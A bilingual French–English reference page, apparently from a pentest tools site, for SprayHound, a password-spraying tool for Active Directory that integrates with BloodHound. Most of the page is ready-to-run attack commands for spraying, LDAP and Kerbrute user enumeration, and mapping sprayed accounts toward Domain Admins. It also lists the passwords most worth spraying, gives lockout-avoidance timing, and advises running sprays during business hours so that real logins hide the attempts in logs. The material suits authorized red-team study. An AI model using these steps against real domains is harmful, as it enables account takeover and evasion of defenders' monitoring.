← retour aux outils back to tools

# sprayhound

Outil de password spraying intégré à BloodHound. Effectue un password spraying intelligent contre Active Directory, en évitant les comptes proches du verrouillage et en marquant les comptes compromis directement dans BloodHound. BloodHound-integrated password spraying tool. Performs smart password spraying against Active Directory, skipping accounts close to lockout and marking compromised accounts directly in BloodHound.

↗ https://github.com/Hackndo/sprayhound

## Overview

SprayHound is an AD password sprayer that integrates with BloodHound. It checks each account’s bad password count before spraying to avoid lockouts, and marks compromised accounts in the BloodHound database — visualizing spray results in the attack graph.

## Installation

    pip3 install sprayhound

## Basic Usage

Password spray with single password

    sprayhound -u users.txt -p "Password123!" -d domain.local -dc 10.10.10.1

Spray with multiple passwords

    sprayhound -u users.txt -p passwords.txt -d domain.local -dc 10.10.10.1

Get users from LDAP automatically

    sprayhound -l -d domain.local -dc 10.10.10.1 -p "Password2024!"

## Smart Lockout Avoidance

    # SprayHound queries LDAP before each user:
    # - Checks badPwdCount for each account
    # - Skips accounts with N-1 bad passwords
    # - Default safety: skip if badPwdCount >= threshold - 1

Check lockout policy first

    sprayhound -l -d domain.local -dc 10.10.10.1 --check-policy

Set custom lockout threshold

    sprayhound -u users.txt -p "Pass123!" -d domain.local -dc 10.10.10.1 --threshold 3

## BloodHound Integration

Mark compromised accounts in BloodHound 1. Run BloodHound with Neo4j 2. Spray and save to BloodHound:

    sprayhound -u users.txt -p "Pass123!" \
      -d domain.local \
      -dc 10.10.10.1 \
      --neo4j neo4j:bloodhound@localhost:7474

    # BloodHound now shows:
    # → Compromised users highlighted
    # → Attack paths available from those users
    # → Shortest path to Domain Admins from sprayed accounts

## User Discovery

Get users from LDAP (requires at least one valid account or null session)

    sprayhound -l -d domain.local -dc 10.10.10.1

Or provide user list from OSINT/enumeration

    sprayhound -u users.txt -p "Autumn2024!" -d domain.local -dc 10.10.10.1

    # Kerbrute usernames (doesn't need creds)
    kerbrute userenum --dc 10.10.10.1 -d domain.local users.txt
    # Save found users, then spray:
    sprayhound -u valid_users.txt -p "Winter2024!" -d domain.local -dc 10.10.10.1

## Password Selection

    # Best passwords to spray (not triggering lockout):
    # CompanyName + Season + Year: "Acme2024!", "Summer2024!"
    # Default corporate: "Password1!", "Welcome1!"
    # Common: "Passw0rd!", "P@ssword1"

    # One spray per password — wait for reset period between sprays
    # Most AD lockout policies: 3-5 bad attempts, 30 min observation window

## Tips

- Always check lockout policy before spraying: `net accounts /domain` or ldap query
- Spray at most 1-2 passwords and wait the observation window between rounds
- BloodHound integration is unique — immediately shows what the compromised accounts can access
- Time sprays to coincide with business hours (users logging in mask spray activity in logs)
- Combine with kerbrute for pre-spray user validation

Help / Man page

    sprayhound [options]

    -u FILE     Usernames file (or single -u username)
    -p PASS     Password (or file with -p passwords.txt)
    -d DOMAIN   Target domain
    -dc IP      Domain controller IP
    -l          Enumerate users via LDAP
    --check-policy Check lockout policy only
    --threshold N  Skip accounts with N bad passwords (default: 1 under limit)
    --neo4j URL    Neo4j connection for BloodHound
    -v          Verbose

## Vue d’ensemble

SprayHound est un sprayer de mots de passe AD qui s’intègre à BloodHound. Il vérifie le compteur de mauvais mots de passe de chaque compte avant de sprayer pour éviter les verrouillages, et marque les comptes compromis dans la base de données BloodHound : les résultats du spray sont ainsi visualisés dans le graphe d’attaque.

## Installation

    pip3 install sprayhound

## Utilisation de base

    # Password spraying avec un seul mot de passe
    sprayhound -u users.txt -p "Password123!" -d domain.local -dc 10.10.10.1

    # Sprayer avec plusieurs mots de passe
    sprayhound -u users.txt -p passwords.txt -d domain.local -dc 10.10.10.1

    # Récupérer les utilisateurs depuis LDAP automatiquement
    sprayhound -l -d domain.local -dc 10.10.10.1 -p "Password2024!"

## Évitement intelligent du verrouillage

    # SprayHound interroge LDAP avant chaque utilisateur :
    # - Vérifie le badPwdCount de chaque compte
    # - Ignore les comptes ayant N-1 mauvais mots de passe
    # - Sécurité par défaut : ignorer si badPwdCount >= seuil - 1

    # Vérifier d'abord la politique de verrouillage
    sprayhound -l -d domain.local -dc 10.10.10.1 --check-policy

    # Définir un seuil de verrouillage personnalisé
    sprayhound -u users.txt -p "Pass123!" -d domain.local -dc 10.10.10.1 --threshold 3

## Intégration BloodHound

Marquer les comptes compromis dans BloodHound. 1. Lancer BloodHound avec Neo4j. 2. Sprayer et sauvegarder vers BloodHound :

    sprayhound -u users.txt -p "Pass123!" \
      -d domain.local \
      -dc 10.10.10.1 \
      --neo4j neo4j:bloodhound@localhost:7474

    # BloodHound affiche maintenant :
    # → Les utilisateurs compromis mis en évidence
    # → Les chemins d'attaque disponibles depuis ces utilisateurs
    # → Le chemin le plus court vers les Domain Admins depuis les comptes sprayés

## Découverte des utilisateurs

    # Récupérer les utilisateurs depuis LDAP (nécessite au moins un compte valide ou une session null)
    sprayhound -l -d domain.local -dc 10.10.10.1

    # Ou fournir une liste d'utilisateurs issue d'OSINT/énumération
    sprayhound -u users.txt -p "Autumn2024!" -d domain.local -dc 10.10.10.1

    # Noms d'utilisateurs via Kerbrute (ne nécessite pas de creds)
    kerbrute userenum --dc 10.10.10.1 -d domain.local users.txt
    # Sauvegarder les utilisateurs trouvés, puis sprayer :
    sprayhound -u valid_users.txt -p "Winter2024!" -d domain.local -dc 10.10.10.1

## Choix des mots de passe

    # Meilleurs mots de passe à sprayer (sans déclencher de verrouillage) :
    # Nom d'entreprise + saison + année : "Acme2024!", "Summer2024!"
    # Corporate par défaut : "Password1!", "Welcome1!"
    # Communs : "Passw0rd!", "P@ssword1"

    # Un spray par mot de passe : attendre la période de réinitialisation entre les sprays
    # La plupart des politiques de verrouillage AD : 3-5 mauvais essais, fenêtre d'observation de 30 min

## Conseils

- Toujours vérifier la politique de verrouillage avant de sprayer : `net accounts /domain` ou requête ldap
- Sprayer au plus 1 à 2 mots de passe et attendre la fenêtre d’observation entre les tours
- L’intégration BloodHound est unique : elle montre immédiatement ce à quoi les comptes compromis peuvent accéder
- Synchroniser les sprays avec les heures de bureau (les connexions légitimes masquent l’activité de spray dans les logs)
- Combiner avec kerbrute pour valider les utilisateurs avant le spray

Aide / Page de manuel

    sprayhound [options]

    -u FILE     Usernames file (or single -u username)
    -p PASS     Password (or file with -p passwords.txt)
    -d DOMAIN   Target domain
    -dc IP      Domain controller IP
    -l          Enumerate users via LDAP
    --check-policy Check lockout policy only
    --threshold N  Skip accounts with N bad passwords (default: 1 under limit)
    --neo4j URL    Neo4j connection for BloodHound
    -v          Verbose